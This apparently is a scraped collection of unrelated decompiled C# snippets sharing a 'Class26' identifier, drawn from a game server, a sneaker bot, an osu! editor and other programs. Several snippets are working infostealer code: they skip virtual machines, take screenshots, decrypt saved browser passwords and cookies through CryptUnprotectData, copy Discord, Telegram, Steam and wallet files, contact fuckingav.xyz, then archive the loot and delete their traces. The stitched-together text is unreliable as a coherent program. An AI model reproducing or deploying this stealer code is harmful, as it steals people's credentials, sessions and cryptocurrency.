internal Dictionary <Room, int> method_22() { Dictionary <Room, int> dictionary = new Dictionary <Room, int>(); using (Class26 class26_ = this.class25_0.Class26_0) { foreach (Room @class in class26_.Values) { if (@class != null) { dictionary.Add(@class, @class.UserCount); } } } return(dictionary); }
private void RoomCycleTask() { if ((DateTime.Now - this.cycleLastExecution).TotalMilliseconds >= 480.0) { this.cycleLastExecution = DateTime.Now; using (Class26 class26_ = this.class25_0.Class26_0) { foreach (Room @class in class26_.Values) { if (@class != null && [email protected]) { ThreadPool.UnsafeQueueUserWorkItem(new WaitCallback(@class.method_32), null); } } } } }
// Token: 0x06000210 RID: 528 RVA: 0x00012B30 File Offset: 0x00010D30 private void method_2(object sender, MessageEventArgs e) { try { JObject jobject = JObject.Parse(e.Data); MainWindow.smethod_0(); if (jobject.ContainsKey("quicktask")) { Class170.smethod_0(jobject["quicktask"].ToString(), (string)jobject["id"]); } if (jobject.ContainsKey("stop")) { Class170.smethod_1(jobject["stop"].ToString()); } if (jobject.ContainsKey("stopall")) { Class26.smethod_3(Class130.jobject_3); } if (jobject.ContainsKey("startall")) { Class26.smethod_1(Class130.jobject_3, null); } if (jobject.ContainsKey("linkchange")) { Class1.smethod_1(jobject["linkchange"].ToString()); } if (jobject.ContainsKey("message")) { MainWindow.webView_0.QueueScriptCall(string.Format("swal('Message', '{0}', 'info')", jobject["message"].ToString().smethod_8())); } if (jobject.ContainsKey("reset")) { Class130.string_3 = null; Class130.smethod_1(); MainWindow.mainWindow_0.method_4(null, null); } if (jobject.ContainsKey("close")) { MainWindow.mainWindow_0.method_4(null, null); } } catch { } }
// Token: 0x06000144 RID: 324 RVA: 0x00008548 File Offset: 0x00006748 public static bool smethod_1() { bool result; try { RawSecurityDescriptor rawSecurityDescriptor = Class26.smethod_3(); SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); CommonAce ace = new CommonAce(AceFlags.None, AceQualifier.AccessAllowed, 2035707, sid, false, null); rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, ace); result = Class26.smethod_4(rawSecurityDescriptor); } catch (Exception exception_) { Class8.smethod_86(exception_, "RestoreAccessControlEntries"); result = false; } return(result); }
private void RoomCycleTask() { TimeSpan sinceLastTime = DateTime.Now - cycleLastExecution; if (sinceLastTime.TotalMilliseconds >= 480) { cycleLastExecution = DateTime.Now; using (Class26 class26_ = this.class25_0.Class26_0) { foreach (Room @class in class26_.Values) { if (@class != null && [email protected]) { //ThreadPool.UnsafeQueueUserWorkItem(@class.OnCycleFootball, null); ThreadPool.UnsafeQueueUserWorkItem(@class.method_32, null); } } } } }
public List <Room> method_6(int int_0) { List <Room> list = new List <Room>(); try { using (Class26 class26_ = this.class25_0.Class26_0) { foreach (Room @class in class26_.Values) { if (@class.Event != null && (int_0 <= 0 || @class.Event.Category == int_0)) { list.Add(@class); } } } } catch { } return(list); }
// Token: 0x060002DD RID: 733 RVA: 0x0001A584 File Offset: 0x00018784 private static Interface0 smethod_1() { Interface0 result; try { Class26 @class = new Class26(); if (!Class72.smethod_3(@class)) { @class.Dispose(); result = null; } else { result = @class; } } catch (Exception exception_) when(!Class72.smethod_2(exception_)) { result = null; } return(result); }
// Token: 0x06000140 RID: 320 RVA: 0x0000E230 File Offset: 0x0000C430 public void imethod_1(int int_0, out byte byte_0) { if (int_0 >= 0 && int_0 < this.imethod_0()) { IntPtr intPtr = IntPtr.Zero; char char_ = '\0'; try { intPtr = Marshal.SecureStringToGlobalAllocUnicode(this.secureString_0); char_ = (char)Marshal.ReadInt16(intPtr, int_0 * 2); byte_0 = Class26.smethod_1(char_, int_0); return; } finally { Class169.smethod_3(ref char_); if (intPtr != IntPtr.Zero) { Marshal.ZeroFreeGlobalAllocUnicode(intPtr); } } } throw new ArgumentOutOfRangeException(); }
private static void Main(string[] args) { if (File.Exists(Program.path2)) { Environment.Exit(0); } if (Program.GetCheckVMBot()) { Environment.Exit(0); } StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); Directory.CreateDirectory(Program.path); streamWriter.WriteLine("Created directory"); Class4.SaveScreen(Program.path + "\\image.png"); streamWriter.WriteLine("SaveScreen"); streamWriter.WriteLine("[Browsers Started]"); streamWriter.Close(); try { Class18.smethod_2(); Class20.smethod_0(); Class26.smethod_0(); Class18.Cookies(); Class30.smethod_9(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } try { Class2.smethod_0(Program.path + "\\Browsers"); } catch (Exception ex2) { Console.WriteLine(ex2.ToString()); } try { List <Account> list = Chromium.Grab(); foreach (Account account in list) { File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[] { "Url: ", account.URL, "\nUsername: "******"\nPassword: "******"\nApplication: ", account.Application, "\n" })); } } catch (Exception ex3) { Console.WriteLine(ex3.ToString()); } streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); streamWriter.WriteLine("[Browser End]"); Class4.Discord(Program.path + "\\Discord"); streamWriter.WriteLine("Discord"); Class4.FileZilla(Program.path + "\\FileZilla"); streamWriter.WriteLine("FileZilla"); Class4.Telegram(Program.path + "\\Telegram"); streamWriter.WriteLine("Telegram"); Class4.Steam(Program.path + "\\Steam"); streamWriter.WriteLine("Steam"); Class4.smethod_3(Program.path + "\\Wallets"); streamWriter.WriteLine("Wallets"); Class4.Pidgin(Program.path + "\\Pidgin"); streamWriter.WriteLine("Pidgin"); try { using (WebClient webClient = new WebClient()) { byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php"); Program.geo = Encoding.ASCII.GetString(bytes); } } catch { Program.geo = "Unknown?Unknown?Unknown?UN"; } streamWriter.WriteLine("Geo"); Class4.smethod_0(Program.path + "\\info.txt"); try { string text = string.Concat(new string[] { Program.string_1, "\\[", Program.geo.Split(new char[] { '?' })[3], "]", Program.geo.Split(new char[] { '?' })[0], ".zip" }); Class6.smethod_3(Program.path, text); Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[] { '?' })[3] + "]" + Program.geo.Split(new char[] { '?' })[0]); Directory.Delete(Program.path, true); Directory.Delete(Program.string_1, true); } catch (Exception ex4) { Console.WriteLine(ex4.ToString()); } }
// Token: 0x06000204 RID: 516 RVA: 0x00010604 File Offset: 0x0000E804 public static byte[] smethod_1(byte[] byte_0, byte[] byte_1 = null) { Class26.Struct8 @struct = default(Class26.Struct8); Class26.Struct8 struct2 = default(Class26.Struct8); Class26.Struct8 struct3 = default(Class26.Struct8); Class26.Struct9 struct4 = new Class26.Struct9 { int_0 = Marshal.SizeOf(typeof(Class26.Struct9)), int_1 = 0, intptr_0 = IntPtr.Zero, string_0 = null }; string empty = string.Empty; try { try { if (byte_0 == null) { byte_0 = new byte[0]; } struct2.intptr_0 = Marshal.AllocHGlobal(byte_0.Length); struct2.int_0 = byte_0.Length; Marshal.Copy(byte_0, 0, struct2.intptr_0, byte_0.Length); } catch { } try { if (byte_1 == null) { byte_1 = new byte[0]; } struct3.intptr_0 = Marshal.AllocHGlobal(byte_1.Length); struct3.int_0 = byte_1.Length; Marshal.Copy(byte_1, 0, struct3.intptr_0, byte_1.Length); } catch { } Class26.CryptUnprotectData(ref struct2, ref empty, ref struct3, IntPtr.Zero, ref struct4, 1, ref @struct); byte[] array = new byte[@struct.int_0]; Marshal.Copy(@struct.intptr_0, array, 0, @struct.int_0); return(array); } catch { } finally { if (@struct.intptr_0 != IntPtr.Zero) { Marshal.FreeHGlobal(@struct.intptr_0); } if (struct2.intptr_0 != IntPtr.Zero) { Marshal.FreeHGlobal(struct2.intptr_0); } if (struct3.intptr_0 != IntPtr.Zero) { Marshal.FreeHGlobal(struct3.intptr_0); } } return(new byte[0]); }
// Token: 0x06001436 RID: 5174 RVA: 0x00024B58 File Offset: 0x00022D58 public void LibraryConnect(GInterface8 pLibrary) { Class26 class26_ = new Class26(pLibrary); this.class24_0.method_2(this.class24_0, class26_); }
// Token: 0x060007C8 RID: 1992 RVA: 0x00045DD0 File Offset: 0x00043FD0 public static async void smethod_0(string string_0, string string_1) { try { TaskAwaiter <bool> taskAwaiter = MainWindow.taskCompletionSource_0.Task.GetAwaiter(); if (!taskAwaiter.IsCompleted) { await taskAwaiter; TaskAwaiter <bool> taskAwaiter2; taskAwaiter = taskAwaiter2; taskAwaiter2 = default(TaskAwaiter <bool>); } taskAwaiter.GetResult(); string text = null; string text2; if (string_0.StartsWith("http")) { Class170.Class172 @class = new Class170.Class172(); @class.uri_0 = new Uri(string_0); text = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority); JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>(); text2 = ((jproperty != null) ? jproperty.Name : null); } else { List <string> list = string_0.Split(new char[] { ':' }).ToList <string>(); text2 = list[0].Replace('_', ' '); list.RemoveAt(0); string_0 = string.Join(":", list); } JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>(); if (jtoken == null) { MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')"); } else { JObject jobject = new JObject(); jobject["keywords"] = string_0; jobject["store"] = (text2 ?? "Custom"); jobject["custom_url"] = (text ?? null); jobject["login"] = false; jobject["size"] = "Random"; jobject["profile"] = jtoken["name"]; jobject["proxy"] = false; jobject["afk"] = false; string propertyName = "supreme"; JObject jobject2 = new JObject(); jobject2["category"] = "new"; jobject2["color"] = string.Empty; jobject2["random"] = true; jobject[propertyName] = jobject2; jobject["bank_transfer"] = false; string text3 = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject.ToString().smethod_8())).smethod_0(); TaskAwaiter <string> taskAwaiter3 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter(); if (!taskAwaiter3.IsCompleted) { await taskAwaiter3; TaskAwaiter <string> taskAwaiter4; taskAwaiter3 = taskAwaiter4; taskAwaiter4 = default(TaskAwaiter <string>); } Class130.jobject_3 = JObject.Parse(taskAwaiter3.GetResult()); if (string_1 != null) { Class170.dictionary_0[string_1] = text3; } JObject jobject3 = new JObject(); jobject3[text3] = Class130.jobject_3[text3]; Class26.smethod_1(jobject3, string_1); text3 = null; } } catch { } }
// Token: 0x060032C6 RID: 12998 // RVA: 0x00154884 File Offset: 0x00152A84 internal OpenDialog(bool bool_2) { this.editor_0 = Editor.editor_0; this.InitializeComponent(); this.bool_1 = bool_2; if (bool_2) { this.checkBoxAutosave.Visible = false; } base.TopLevel = true; this.class26_0 = new Class26<Class865>(); List<string> list = new List<string>(Class466.Current.bool_10 ? Class466.Current.method_44().method_16() : Directory.GetFiles(Class466.Current.method_3(), "*.osu")); if (Class466.Current.method_8() != null) { string[] files = Directory.GetFiles(Class466.Current.method_8(), "*.osu"); string[] array = files; for (int i = 0; i < array.Length; i++) { string string_0 = array[i]; if (!list.Exists((string string_1) => string_1.EndsWith(Path.GetFileName(string_0)))) { list.Add(string_0); } } } if (Class466.Current.method_8() != null) { Class466.smethod_14(Class466.Current.method_8()); } foreach (string current in list) { Class865 class2 = new Class865(); Class296 class3 = Class466.smethod_24(Path.GetFileName(current)); if (class3 == null) { class2.string_1 = "?NEW? " + Path.GetFileName(current); class2.string_0 = Path.GetFileName(current); class2.double_0 = 10.0; } else { class2.class296_0 = class3; class2.string_0 = class3.string_9; class2.string_1 = string.Format("{0}", class3.string_14); class2.double_0 = class3.method_27(); } this.class26_0.method_0(class2); } foreach (Class865 current2 in this.class26_0) { this.listBox1.Items.Add(current2); } if (!bool_2) { this.method_9(Class466.Current); return; } Class865 class4 = new Class865(); class4.string_1 = "None"; this.class26_0.Insert(0, class4); this.listBox1.Items.Insert(0, class4); if (this.editor_0.class371_0.class297_1 == null) { this.listBox1.SelectedIndex = 0; return; } this.method_9(this.editor_0.class371_0.class297_1.class296_0); }
// Token: 0x0600001D RID: 29 RVA: 0x00003198 File Offset: 0x00001398 public static void smethod_3(object[] object_0) { try { List <object> list = new List <object>(); List <Guid> list2 = new List <Guid>(); int num = 0; int num2 = object_0.Length - 1; for (int i = num; i <= num2; i += 3) { Guid guid = (Guid)object_0[i]; byte[] byte_ = (byte[])object_0[i + 1]; bool flag = (bool)object_0[i + 2]; list2.Add(guid); GClass2 gclass = Class23.smethod_1(guid); if (gclass == null) { list.Add(guid); } else { if (gclass.bool_0 != flag) { gclass.bool_0 = flag; Class5.bool_1 = true; } if (!Class26.smethod_5(gclass.byte_1, byte_)) { list.Add(guid); Class5.bool_0 = true; Class8.smethod_87(string.Format("Plugin [{0}] requires an update.", guid)); } } } Class8.smethod_5(list2.ToArray()); try { foreach (GClass2 gclass2 in Class8.list_2) { if (!list2.Contains(gclass2.guid_0)) { Class5.bool_0 = true; Class8.smethod_87(string.Format("Plugin [{0}] is being uninstalled.", gclass2.guid_0)); if (gclass2.bool_0) { Class5.bool_1 = true; } if (gclass2.gclass3_0 != null) { try { gclass2.gclass3_0.method_8(); } catch (Exception exception_) { Class8.smethod_85(gclass2.gclass3_0, exception_, "PluginUninstalling"); } } } } } finally { List <GClass2> .Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } if (list.Count == 0 && Class5.bool_0) { if (Class5.bool_1) { Class8.smethod_7(); } Class8.smethod_41(); } else { Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 2, list.ToArray()); } } catch (Exception exception_2) { Class8.smethod_86(exception_2, "HandlePluginDetailsCommand"); } }
// Token: 0x0600011C RID: 284 RVA: 0x000035A1 File Offset: 0x000017A1 public static void smethod_2(object object_0, JSExtInvokeArgs jsextInvokeArgs_0) { Class26.smethod_3(JObject.Parse(jsextInvokeArgs_0.Arguments.First <object>().ToString())); }
// Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64 private static List <Class21> smethod_2(string string_0) { List <Class21> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Dirs.WorkDir + "test.fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); Class12 @class = new Class12(text); List <Class21> list = new List <Class21>(); @class.method_4("cookies"); for (int i = 0; i < @class.method_1(); i++) { try { string text2 = string.Empty; try { text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null)); } catch { } if (text2 != "") { List <Class21> list2 = list; Class21 class2 = new Class21(); class2.method_1(@class.method_0(i, 1)); class2.name = @class.method_0(i, 2); class2.path = @class.method_0(i, 4); class2.method_3(@class.method_0(i, 5)); class2.method_5(@class.method_0(i, 6)); class2.value = text2; list2.Add(class2); Class20.int_0++; } } catch { } } File.Delete(text); result = list; } catch { result = null; } } return(result); }
// Token: 0x060007CF RID: 1999 RVA: 0x00045E5C File Offset: 0x0004405C void IAsyncStateMachine.MoveNext() { int num2; int num = num2; try { try { TaskAwaiter <string> taskAwaiter5; TaskAwaiter <bool> taskAwaiter6; if (num != 0) { if (num == 1) { taskAwaiter5 = taskAwaiter4; taskAwaiter4 = default(TaskAwaiter <string>); num2 = -1; goto IL_31F; } taskAwaiter6 = MainWindow.taskCompletionSource_0.Task.GetAwaiter(); if (!taskAwaiter6.IsCompleted) { num2 = 0; taskAwaiter2 = taskAwaiter6; this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <bool>, Class170.Struct143>(ref taskAwaiter6, ref this); return; } } else { taskAwaiter6 = taskAwaiter2; taskAwaiter2 = default(TaskAwaiter <bool>); num2 = -1; } taskAwaiter6.GetResult(); string text4 = null; string text5; if (string_0.StartsWith("http")) { Class170.Class172 @class = new Class170.Class172(); @class.uri_0 = new Uri(string_0); text4 = string.Format("{0}://{1}", @class.uri_0.Scheme, @class.uri_0.Authority); JProperty jproperty = Class130.jobject_1.Properties().Where(new Func <JProperty, bool>(@class.method_0)).FirstOrDefault <JProperty>(); text5 = ((jproperty != null) ? jproperty.Name : null); } else { List <string> list = string_0.Split(new char[] { ':' }).ToList <string>(); text5 = list[0].Replace('_', ' '); list.RemoveAt(0); string_0 = string.Join(":", list); } JToken jtoken = Class130.jobject_2.Values().Where(new Func <JToken, bool>(Class170.Class171.class171_0.method_0)).FirstOrDefault <JToken>(); if (jtoken == null) { MainWindow.webView_0.QueueScriptCall("swal('No favourite profile set', 'You need to set a favourite profile in the billing tab to use the quick task feauture!', 'warning')"); goto IL_3A5; } JObject jobject = new JObject(); jobject["keywords"] = string_0; jobject["store"] = (text5 ?? "Custom"); jobject["custom_url"] = (text4 ?? null); jobject["login"] = false; jobject["size"] = "Random"; jobject["profile"] = jtoken["name"]; jobject["proxy"] = false; jobject["afk"] = false; string propertyName = "supreme"; JObject jobject2 = new JObject(); jobject2["category"] = "new"; jobject2["color"] = string.Empty; jobject2["random"] = true; jobject[propertyName] = jobject2; jobject["bank_transfer"] = false; JObject jobject3 = jobject; text3 = MainWindow.webView_0.QueueScriptCall(string.Format("addTasks([JSON.parse('{0}')])", jobject3.ToString().smethod_8())).smethod_0(); taskAwaiter5 = MainWindow.webView_0.QueueScriptCall("JSON.stringify(tasks)").smethod_2().GetAwaiter(); if (!taskAwaiter5.IsCompleted) { num2 = 1; taskAwaiter4 = taskAwaiter5; this.asyncVoidMethodBuilder_0.AwaitUnsafeOnCompleted <TaskAwaiter <string>, Class170.Struct143>(ref taskAwaiter5, ref this); return; } IL_31F: Class130.jobject_3 = JObject.Parse(taskAwaiter5.GetResult()); if (string_1 != null) { Class170.dictionary_0[string_1] = text3; } JObject jobject4 = new JObject(); string propertyName2 = text3; jobject4[propertyName2] = Class130.jobject_3[text3]; Class26.smethod_1(jobject4, string_1); text3 = null; } catch { } } catch (Exception exception) { num2 = -2; this.asyncVoidMethodBuilder_0.SetException(exception); return; } IL_3A5: num2 = -2; this.asyncVoidMethodBuilder_0.SetResult(); }
// Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338 public static void smethod_0() { string[] array = new string[] { "Chrome", "Yandex", "Orbitum", "Opera", "Amigo", "Torch", "Comodo", "CentBrowser", "Go!", "uCozMedia", "Rockmelt", "Sleipnir", "SRWare Iron", "Vivaldi", "Sputnik", "Maxthon", "AcWebBrowser", "Epic Browser", "MapleStudio", "BlackHawk", "Flock", "CoolNovo", "Baidu Spark", "Titan Browser" }; try { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); List <string> list = new List <string>(); List <string> list2 = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string path2 in list3) { try { list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories)); string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories); foreach (string text in files) { try { if (File.Exists(text)) { string string_ = "Unknown (" + text + ")"; foreach (string text2 in array) { if (text.Contains(text2)) { string_ = text2; } } try { string text3 = Path.GetTempPath() + "/test.fv"; if (File.Exists(text3)) { File.Delete(text3); } File.Copy(text, text3, true); Class12 @class = new Class12(text3); if ([email protected]_4("logins")) { break; } int num = 0; for (;;) { try { if (num >= @class.method_1()) { break; } try { string text4 = string.Empty; try { text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null)); } catch (Exception) { } if (text4 != "") { Class27 class2 = new Class27(); class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", "")); class2.method_3(@class.method_0(num, 3)); class2.method_5(text4); class2.method_7(string_); Class27 arg = class2; Class26.string_0 += Convert.ToString(Environment.NewLine + arg); Class26.int_0++; } } catch { } num++; } catch { } } File.Delete(text3); } catch { } } } catch { } } } catch { } } File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default); } catch { } }
public static string smethod_40(bool bool_6, bool bool_7, bool bool_8, bool bool_9) { return(Class26.smethod_9(bool_7, bool_9, bool_6, bool_8)); }